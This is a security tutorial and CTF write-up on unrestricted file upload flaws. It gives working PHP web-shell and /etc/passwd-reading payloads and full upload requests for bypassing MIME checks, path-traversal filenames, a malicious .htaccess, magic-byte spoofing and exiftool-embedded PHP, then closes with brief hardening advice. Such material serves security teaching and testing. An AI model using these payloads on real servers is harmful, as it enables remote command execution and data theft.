Unrestricted File Upload Vulnerability

16/07/2022

Introduction

The type of failure described as Insecure File Upload occurs when the environment is not so restrictive regarding the type of files (MIME type) that can be submitted to te application. If this file is accessible by the user, he can handle it and eventually make the web service interpret this file, leading to code execution remotely.

The worst scenario is when a application allows to upload sever side scripts, such as PHP, Java, Jsp or Python files and it is also configures to execute them. It brings us the possibility to create a web shell.

It is an obvious and very common prevention, the use of extension blacklist to determine which types of files should not be submitted to the server, such as blocking .php, .jsp, .asp, .html, .css however this technique can be bypassed with less known file extensions like .php5, .phps, .aspx, .phtml

In this article we will discuss some other prevention and ways to get around them.

First Steps

Before uploading the code we need to be sure that we have full access to that context, the service has read and write permissions, so we can upload that code and exfiltrate data using server pivot attacks against internal infra.

The following code can be used to read arbitrary file, Maybe if the file is something like the application’s own source code, it will be necessary to add the encoding function so that it is not interpreted.

<?php echo file_get_contents('/etc/passwd'); ?>
    

When uploaded, sending requests for this file may return the wanted content.

Uploading the following code we can execute arbitrary commands on the target machine.

<?php system($_GET["cmd"]);?>
    

Obviously these examples are the simplest possible and for more stable explorations it becomes interesting to create more worked codes.

Request:


    POST /user/avatar HTTP/1.1
    Host: domain.com
    
    ------WebKitFormBoundaryBID8ors4OKG6lQUL
    Content-Disposition: form-data; name="avatar"; filename="shell.php"
    Content-Type: image/png
    
    <?php system($_GET["cmd"]);?>
    ------WebKitFormBoundaryBID8ors4OKG6lQUL
    Content-Disposition: form-data; name="user"
    
    elf
    ------WebKitFormBoundaryBID8ors4OKG6lQUL
    Content-Disposition: form-data; name="csrf"
    
    VrttcsAf384beoy7YZ4gornBGdAYH8QI
    ------WebKitFormBoundaryBID8ors4OKG6lQUL--
    

In this case we did not have any type of validation that we needed to bypass.

Exploiting Weak validation of file uploads

There are many ways that the developer can implement validation but just one or another not always will be robust. When submitting HTML forms, the browser sends the provided data in the POST body with the content type Content-Type: text/plain , this is fine to send small amount of data like text files, but it is not suitable for sending large amount of data such as binary files, images or documents. In this case the parameter and argument Content-Type: multipart/form-data is used.

Consider a form like the following one, where we have a section describing the image that is being exported, a description of it and the username of who is sending that data:


    POST /images HTTP/1.1 
    Host: domain.com 
    Content-Length: xxx 
    Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456 
    
    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="image"; filename="example.jpg"
    Content-Type: image/jpeg 
    
    [...binary content of example.jpg...] 
    
    ---------------------------012345678901234567890123456 
    Content-Disposition: form-data; name="description" 
    
    Any description.
    ---------------------------012345678901234567890123456 
    Content-Disposition: form-data; name="username" 
    
    elf 
    ---------------------------012345678901234567890123456--
    

It is possible to notice that the POST body is segmented in sections. Each section contains a Content-Disposition header, the header provides some basics information about that input field. The field also has its own Content-type that provides the MIME type of data submitted for the server.

As a validation factor the server may use the header Content-type to be sure the data matches what MIME type is expected in that section of the request body. If the server only expects to receive Comma-separated values (csv) files it will be programmed to check the header as expecting for Content-Type: text/csv. But if no deeper validation is done we can simply intercept the request and manipulate the header, change the file content to something malicious and keep the MIME type allowed by the server.

How to know what MIME type the server will accept? This question can be simple or a little more complicated. Sometimes it is expressed in the code or text a explanation about which type of data should be submitted, in other situations, if the error of improper MIME type is not shown on the screen, a brute force from a list with MIME types can be the solution.

Executing Prevention In User Accessible Directories

One way to harden the server and prevent files from being executed in the place where images or other assets are commonly stored, it is to make it impossible for the files in that directory to be interpreted by the server when a user browses to this file. When this happens we can try to use path-traversal as a way to get around the malicious file from being saved in places where it cannot be interpreted.

In some cases this technique is possible because web servers often use the filename field in multipart/form-data requests to determine the name and location where the file should be saved.

Payload used: ../fwshell.php

Using


    POST /src/images HTTP/1.1 
    Host: domain.com 
    Content-Length: xxx 
    Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456 
    
    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="image"; filename="%2E%2E%2Ffwshell%2Ephp"
    Content-Type: image/jpeg 
    
    <?php system($_GET["cmd"]);?>
    ---------------------------012345678901234567890123456 
    Content-Disposition: form-data; name="description" 
    
    Any description. 
    ---------------------------012345678901234567890123456 
    Content-Disposition: form-data; name="username" 
    
    elf 
    ---------------------------012345678901234567890123456--
    

In case of successful upload, navigate to a previous directory from which the image would normally be written:


    curl https://domain.com/src/wshell.php?cmd=ls
    xxx.php
    xxy.pxp
    xyz.php
    

Overriding the server configuration

For the service Apache to execute PHP files and thus create dynamic applications, it is necessary that some directives are added to the Apache configuration file apache2.conf.


    LoadModule php_module /usr/lib/apache2/modules/libphp.so 
    AddType application/x-httpd-php .php
    

It is also possible to create specific configuration files for each directory, overriding the main apache configuration file. Therefore Apache will load that configuration from the file .htaccess if this one is present.

Usually servers use this to define the file type allowed and interpreted but the user does not have permission to access them using HTTP requests. However, we may occasionally encounter servers that do not prevent us from uploading our own malicious configuration file. In this case, even if the required file extension is blacklisted, we can trick the server into mapping a custom and arbitrary file extension to an executable MIME type.

Try to upload a new Apache directive allowing a file with extension .xyz (any other can be specified) to be handled by mod_php.


    POST /src/upload HTTP/1.1
    Host: domain.com
    Cookie: session=Jz1H1moxyl6xlgM1a
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAhvy2Q46lRkXzGIw
    
    ------WebKitFormBoundaryAhvy2Q46lRkXzGIw
    Content-Disposition: form-data; name="avatar"; filename=".htaccess"
    Content-Type: text/plain
    
    AddType application/x-httpd-php .xyz
    ------WebKitFormBoundaryAhvy2Q46lRkXzGIw--
    

After that we can send the payload in a file with the extension defined in the directive.


    POST /src/upload HTTP/1.1
    Host: domain.com
    Cookie: session=Jz1H1moxyl6xlgM1a
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAhvy2Q46lRkXzGIw
    
    ------WebKitFormBoundaryAhvy2Q46lRkXzGIw
    Content-Disposition: form-data; name="avatar"; filename="exploit.xyz"
    Content-Type: text/plain
    
    <?php echo file_get_contents('/etc/passwd'); ?>
    ------WebKitFormBoundaryAhvy2Q46lRkXzGIw--
    

File Header Validation

Finally, we will talk about the validation method having as a parameter the file header, those first bytes that refer to a metadata of what that file is about to be used by manipulation tools and so on. Rather than just relying on the filename or the Content-Type header, more developed validation systems will check the file’s interior for congruence.

The server can try to verify the dimension when dealing with images, or specific objects when dealing with PDF files.

Lets have a simple PNG image as example, when dumping the hexadecimal the first eight set of bytes will be 89 50 4E 47 0D 0A 1A 0A


    ╰─$ xxd image.png | head -n 1
    00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
    

In an exploration attempt this data can be inserted starting the payload.


    BMP : 42 4D  
    JPG : FF D8 FF E0  
    PNG : 89 50 4E 47 0D 0A 1A 0A
    GIF : 47 49 46 38 37 61
    PDF : 25 50 44 46
    

This technique can also be found as “magic numbers editing”.


    POST /src/upload HTTP/1.1
    Host: domain.com
    Cookie: session=Jz1H1moxyl6xlgM1a
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAhvy2Q46lRkXzGIw
    
    ------WebKitFormBoundaryAhvy2Q46lRkXzGIw
    Content-Disposition: form-data; name="avatar"; filename="exploit.php"
    Content-Type: image/gif
     
    GIF89a;
    <?php system($_GET["cmd"]);?>
    ------WebKitFormBoundaryAhvy2Q46lRkXzGIw--
    

CTF of Magic Number Validation Flaw

Trying to exploit this kind of validation I started from uploading a normal PHP payload to see the error message:

Request:


    ------WebKitFormBoundary0QnAg7TRKWVwqo9W
    Content-Disposition: form-data; name="avatar"; filename="wshell.php"
    Content-Type: image/png
    
    <?php echo "potato"; ?>
    ------WebKitFormBoundary0QnAg7TRKWVwqo9W--
    

Response:


    HTTP/1.1 403 Forbidden
    Content-Type: text/html; charset=UTF-8
    Content-Length: 164
    
    Error: file is not a valid image
    Sorry, there was an error uploading your file.<p>
    

I will assume this input is waiting for a PNG file so I will manipulate the content by adding the fingerprint of a png file starting the payload. So I pasted the fingerprint of PNG (89 50 4E 47 0D 0A 1A 0A) which is in hex in CyberChef and I decoded it to URL Encoding, it looked something like this %C2%89PNG%0D%0A%1A%0A. This code was inserted into my reverse proxy and decoded.


    ------WebKitFormBoundary0QnAg7TRKWVwqo9W
    Content-Disposition: form-data; name="avatar"; filename="wshell.php"
    Content-Type: image/png
    
    ‰PNG
    
    <?php echo "potato"; ?>
    ------WebKitFormBoundary0QnAg7TRKWVwqo9W--
    

However, the technique did not work as I thought it would and a got the same error message. So I thought of actually putting the payload inside an image using the command line tool commonly used for metadata manipulation exiftool.


    ╰─$ exiftool -Comment="<?php echo 'just a test'; ?>" image.png -o exploit.png
    
    ╰─$ exiftool exploit.png
    ...
    Pixel Units                     : meters
    Comment                         : <?php echo 'just a test'; ?>
    Image Size                      : 1441x781
    ...
    

The comment entered can be found on the seventh line of the file when we open it with a hex editor which actually separates each line having sixteen bytes.


    00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
    00000010: 0000 05a1 0000 030d 0806 0000 0081 30b8  ..............0.
    00000020: fc00 0000 0173 5247 4200 aece 1ce9 0000  .....sRGB.......
    00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000  ..gAMA......a...
    00000040: 0009 7048 5973 0000 1625 0000 1625 0149  ..pHYs...%...%.I
    00000050: 5224 f000 0000 2474 4558 7443 6f6d 6d65  R$....$tEXtComme
    00000060: 6e74 003c 3f70 6870 2065 6368 6f20 276a  nt.<?php echo 'j <-
    00000070: 7573 7420 6120 7465 7374 273b 203f 3e4e  ust a test'; ?>N
    00000080: d145 e800 00f9 b849 4441 5478 5eec dd09  .E.....IDATx^...
    00000090: 7c54 d5d9 f8f1 27b2 0414 50c0 0d48 50e2  |T....'...P..HP.
    

I uploaded this file, intercepted the request and changed the name to exploit.php so that it would be interpreted by the server as PHP and not a image.

When requested, all the bytes of the PNG file were returned, but the position where the comment is in the hex dump was also the position where the message echoed by the server was. I changed the payload in the comments to something that would allow me to run commands and got the shell to find the flag.

Conclusion

Unrestricted File Uploads is a very interesting flaw to be exploited but more cool when we think of ways to harden the system in order to block this kind of attack.

So to prevent this type of attack it will always be necessary to do more than one type of validation. The validations explored in the article are good, but when done together like creating a blacklist of file extensions and making sure that path-traversal (../) will not be exploited.

Rename the file so that there is no collision and if you can, name it with random characters so that the user cannot find the file in some folder.

References

Portswigger Hacktricks CyberChef